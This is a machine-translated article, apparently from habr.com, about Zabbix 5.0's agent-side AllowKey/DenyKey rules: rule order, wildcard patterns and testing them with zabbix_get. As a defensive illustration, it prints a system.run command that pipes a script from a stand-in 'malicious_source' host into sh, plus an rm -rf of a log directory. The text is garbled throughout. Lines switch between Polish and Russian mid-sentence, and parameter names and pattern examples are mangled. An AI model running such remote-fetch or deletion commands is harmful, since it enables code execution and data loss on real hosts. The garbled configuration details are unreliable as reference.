Obsługa czarnych i białych list metryk po stronie agenta
Tichon Uskow, Inżynier ds. integracji, Zabbix
Kwestie bezpieczeństwa danych
В Zabbix 5.0 появилась новая функция, которая позволяет улучшить безопасность в системах с использованием Zabbix Agent и заменяет старый параметр Włącz polecenia zdalne.
Poprawa bezpieczeństwa systemów agentowych wynika z faktu, że agent może wykonywać dużą liczbę potencjalnie niebezpiecznych działań.
- Агент может собирать практически любую информацию, в том числе конфиденциального или потенциально опасного характера, из файлов конфигурации, файлов логов, файлов с паролями или любых других файлов.
Na przykład za pomocą narzędzia zabbix_get możesz uzyskać dostęp do listy użytkowników, ich katalogów domowych, plików haseł itp.
Доступ к данным с помощью утилиты zabbix_get
UWAGA. Данные могут быть получены, только если агент имеет права на чтение соответствующего файла. Ale na przykład plik /etc/passwd/ czytelny dla wszystkich użytkowników.
- Agent może także wykonywać potencjalnie niebezpieczne polecenia. Na przykład klucz *system.run[]** umożliwia zdalne wykonywanie dowolnych poleceń na węzłach sieci, w tym uruchamianie skryptów z interfejsu sieciowego Zabbix, które wykonują również polecenia po stronie agenta.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- W systemie Linux agent domyślnie działa bez uprawnień roota, natomiast w systemie Windows działa jako usługa jako System i ma nieograniczony dostęp do systemu plików. Odpowiednio, jeśli po instalacji nie zostaną wprowadzone żadne zmiany w parametrach Agenta Zabbix, agent będzie miał dostęp do rejestru, systemu plików i może wykonywać zapytania WMI.
В более ранних версиях параметр WłączRemoteCommands=0 dozwolone jest jedynie wyłączanie metryk za pomocą klawisza *system.run[]** i uruchamianie skryptów z interfejsu WWW, ale nie było możliwości ograniczenia dostępu do poszczególnych plików, zezwolenia lub wyłączenia poszczególnych kluczy, które zostały zainstalowane z agentem, ani ograniczenia użycia poszczególnych parametrów.
Использование параметра EnableRemoteCommand в ранних версиях Zabbix
Zezwól na klucz/Odmów klucz
Zabbix 5.0 помогает защититься от такого несанкционированного доступа благодаря белым и черным спискам для разрешения и запрета метрик на стороне агента.
W Zabbix 5.0 wszystkie klawisze, w tym *system.run[]** są włączone i dodano dwie nowe opcje konfiguracji agenta:
Zezwól na klucz = — dozwolone kontrole;
OdmówKlucz= — zabronione kontrole;
gdzie jest wzorcem nazwy klucza z parametrami używającymi metaznaków (*).
Ключи AllowKey и DenyKey позволяют разрешить или запретить отдельные метрики по определенному шаблону. В отличие от других параметров конфигурации количество параметров AllowKey/DenyKey не ограничено. Это позволяет четко определить, что именно агент может делать в системе благодаря созданию дерева проверок — выполняемых ключей, где очень важную роль играет порядок их написания.
Sekwencja zasad
Reguły sprawdzane są w kolejności w jakiej zostały wprowadzone do pliku konfiguracyjnego. Klucz jest sprawdzany zgodnie z zasadami przed pierwszym dopasowaniem i gdy tylko klucz elementu danych pasuje do wzorca, zostaje dopuszczony lub odrzucony. Następnie sprawdzanie reguł zostaje zatrzymane, a pozostałe klucze są ignorowane.
Dlatego też, jeśli element pasuje zarówno do reguły zezwalającej, jak i odrzucającej, wynik będzie zależał od tego, która reguła jest pierwsza w pliku konfiguracyjnym.
2 różne reguły z tym samym wzorem i kluczem vfs.file.size[/tmp/file]
Kolejność używania kluczyAllowKey/DenyKey:
- dokładne zasady,
- Główne zasady,
- запрещающее правило.
Например, если вам необходим доступ к файлам в определенной папке, необходимо сначала разрешить доступ к ним, после чего запретить все остальное, что не попадает под установленные разрешения. Если в первую очередь будет использовано запрещающее правило, доступ к папке будет запрещен.
Prawidłowa kolejność
Jeśli chcesz zezwolić na działanie 2 narzędzi przez *system.run[]**, и в первую очередь будет указано запрещающее правило, утилиты запускаться не будут, потому что первый паттерн будет всегда соответствовать любому ключу, и последующие правила будут игнорироваться.
Nieprawidłowa sekwencja
Wzory
Podstawowe zasady
Wzorzec jest wyrażeniem zawierającym symbole wieloznaczne. Metaznak (*) dopasowuje dowolną liczbę dowolnych znaków na określonej pozycji. Metaznaków można używać zarówno w nazwie klucza, jak iw parametrach. Można na przykład ściśle zdefiniować pierwszy parametr za pomocą tekstu, i określ kolejny jako symbol wieloznaczny.
Параметры должны быть заключены в квадратные скобки [].
system.run[*
- złovfs.file*.txt]
- złovfs.file.*[*]
- Prawidłowy
Примеры использования wildcard.
- В имени ключа и в параметре. В данном случае ключ не соответствует аналогичному ключу, который не содержит параметр, поскольку в паттерне мы указали, что хотим получить некое окончание имени ключа и некий набор параметров.
- Jeśli wzorzec nie używa nawiasów kwadratowych, wzorzec dopuszcza wszystkie klucze niezawierające parametrów i odrzuca wszystkie klucze zawierające określony parametr.
- Jeśli klucz jest zapisany w całości, a parametry są określone jako symbol wieloznaczny, dopasuje on dowolny podobny klucz z dowolnymi parametrami i nie będzie pasował do klucza bez nawiasów kwadratowych, czyli będzie dozwolony lub zabroniony.
Zasady wypełniania parametrów.
- Jeżeli ma być używany klucz z parametrami, parametry muszą być określone w pliku konfiguracyjnym. Parametry muszą być określone jako metaznak. Należy ostrożnie odmówić dostępu do dowolnego pliku i wziąć pod uwagę, jakie informacje może dostarczyć metryka przy różnej pisowni - z parametrami i bez.
Funkcje pisania kluczy z parametrami
- Jeśli klucz jest określony z parametrami, ale parametry są opcjonalne i określone jako metaznak, zostanie rozwiązany klucz bez parametrów. Przykładowo, jeśli chcesz wyłączyć otrzymywanie informacji o obciążeniu procesora i określić, że klucz system.cpu.load[*] powinien być wyłączony, nie zapominaj, że klucz bez parametrów zwróci średnią wartość obciążenia.
Правила заполнения параметров
Uwagi
regulacja
- Некоторые правила не могут быть изменены пользователем, например, правила обнаружения (discovery) или авторегистрации агентов. Правила AllowKey/DenyKey не затрагивают следующие параметры:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
UWAGA. Jeśli administrator wyłączy klucz, po zapytaniu Zabbix nie dostarczy informacji o tym, dlaczego metryka lub klucz należy do kategorii „NIEOBSŁUGIWANY'. Informacje o zakazach wykonywania poleceń zdalnych również nie są wyświetlane w plikach dziennika agenta. Dzieje się tak ze względów bezpieczeństwa, ale może skomplikować debugowanie, jeśli z jakiegoś powodu metryki należą do nieobsługiwanej kategorii.
- Nie należy polegać na żadnej określonej kolejności podłączania zewnętrznych plików konfiguracyjnych (na przykład w kolejności alfabetycznej).
Narzędzia wiersza poleceń
После настройки правил необходимо удостовериться, что все настроено верно.
Możesz skorzystać z jednej z trzech opcji:
- Dodaj metrykę do Zabbix.
- Przetestuj z zabbix_agentd. Agent Zabbix z opcją -drukuj (-p) показывает все ключи (которые разрешены по умолчанию), кроме тех, которые не разрешены конфигурацией. А с опцией -test (-t) dla zabronionego klucza zwróci 'Nieobsługiwany klucz elementu".
- Przetestuj z zabbix_get. Pożytek zabbix_get z opcją -k wróci 'ZBX_NOTSUPPORTED: Nieznana metryka".
Разрешать или запрещать
Możesz odmówić dostępu do pliku i zweryfikować go np. za pomocą narzędzia zabbix_getże dostęp do pliku został odrzucony.
**
UWAGA. Cytaty w parametrze są ignorowane.
W takim przypadku dostęp do takiego pliku może być umożliwiony inną ścieżką. Na przykład, jeśli prowadzi do niego dowiązanie symboliczne.
Warto sprawdzić różne możliwości stosowania określonych zasad, a także wziąć pod uwagę możliwości obejścia zakazów.
Pytania i odpowiedzi
pytanie. Почему для описания правил, разрешений и запретов выбрана такая сложная схема паттерна со своим языком? Почему не было возможности воспользоваться, например, регулярными выражениями, которые использует Zabbix?
odpowiedź. Jest to problem z wydajnością wyrażenia regularnego, ponieważ zwykle jest tylko jeden agent, który sprawdza ogromną liczbę metryk. Regex to dość skomplikowana operacja i nie możemy w ten sposób sprawdzić tysięcy metryk. Symbole wieloznaczne - uniwersalne, powszechnie stosowane i proste rozwiązanie.
pytanie. Czy pliki Dołącz nie są zawarte w kolejności alfabetycznej?
odpowiedź. Насколько мне известно, предсказать последовательность применения правил, если вы разносите правила по разным файлам, фактически невозможно. Я рекомендую собрать все правила AllowKey/DenyKey в одном файле Include, потому что они взаимодействуют друг с другом, и подключать этот файл.
pytanie. W Zabbix 5.0 opcja 'WłączRemoteCommands=‘ в конфигурационном файле отсутствует, и доступны только AllowKey/DenyKey?
Odpowiedź. tak to prawda.
Dziękuję za uwagę!
Źródło: www.habr.com